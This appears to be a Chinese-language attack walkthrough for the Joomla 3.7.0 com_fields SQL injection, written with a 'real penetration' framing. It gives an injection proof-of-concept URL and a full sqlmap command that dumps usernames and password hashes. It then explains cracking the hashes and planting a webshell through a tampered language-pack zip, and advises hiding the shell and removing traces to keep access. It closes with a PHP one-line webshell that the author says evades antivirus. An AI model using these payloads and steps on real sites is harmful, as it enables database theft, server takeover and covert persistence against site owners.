Joomla 3.70 com_fields组件sql注入及joomla3.x拿shell
大致 poc 如下:1
http://192.168.3.23/Joomla_3.7.0-Stable-Full_Package/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(rand(),concat(0x3a,user()))
0x01 至于漏洞的具体产生细节这里就不带大家仔细回顾了,播报上已经有人详细分析过了,如果还不太清楚的话,可以去参考相关文章,这里只来简单说明如何快速利用该漏洞,实际渗透中,为了尽量节省时间,你可以直接拿sqlmap跑,不出意外的情况下,顺利跑出账号密码应该是没什么问题[至于waf的话,你就要自己想办法过了],joomla的用户密码hash确实有些蛋疼[加密方式请自行查看getCryptedPassword类中的加密方式],不过好在最新版的hashcat默认就支持该散列类型,因为是本地测试,我已经事先知道密码,实际渗透中,你可能还需要自己拿hashcat先跑会儿,至于得多长时间跑出来就不太好说了,嘿嘿……建议直接把hash丢给万能的淘宝……1
# python sqlmap.py -u "http://192.168.3.23/Joomla_3.7.0-Stable-Full_Package/index.php/fr/?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D joomla370injection -T #__users -C username,password,email --dump -p "list[fullordering]" --dbms=mysql --technique E
0x02 拿到管理的明文密码以后,就可以正常进后台传shell了,其实joomla的拿shell方式跟wordpress有点儿类似,只不过joomla是安装语言包,而wordpress是安装主题包,具体原理都差不多,都是通过上传带有webshell的zip,在安装(其实就是解压)过程中把自己的马也解压到目标的网站目录中,非常简单,不过,你需要先去下载好对应的语言包,如下:
0x03 把里面的文件解压出来,然后把自己的webshell放到解压出来的目录中,修改install.xml文件,把webshell文件名添加进去,然后重新打包上传,记住一定要是zip包
0x04 不出意外的情况下,上传成功以后,我们就可以在目标的网站目录中看到我们的webshell了,拿到shell以后,记得马上把webshell转移到一个相对隐蔽点的地方藏好,然后再把我们之前安装的那个语言包目录整个干掉,尽可能长的维持住权限,因为版本限制实在太那啥,不能通杀,所以杀伤力瞬间就小了很多,不过万一碰到了合适的版本,还是值得一试的[可惜了,没碰到目标的,汗……],好了,就先到这里吧,有些不舒服,写的比较粗糙,大家就体谅下,将就着看吧1
http://192.168.3.23/Joomla_3.7.0-Stable-Full_Package/administrator/language/zh-CN/options.php
0x05 最后,顺便再分享一个自用的webshell,已经免杀很久了,不过,知道的人多了以后,就不一定了,只是目前很少有waf会杀,方法非常简单,通过创建自定义函数,然后调用该函数,而函数里面可接任意值,基本是没有任何特征的,祝大家好运吧 :)1
<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>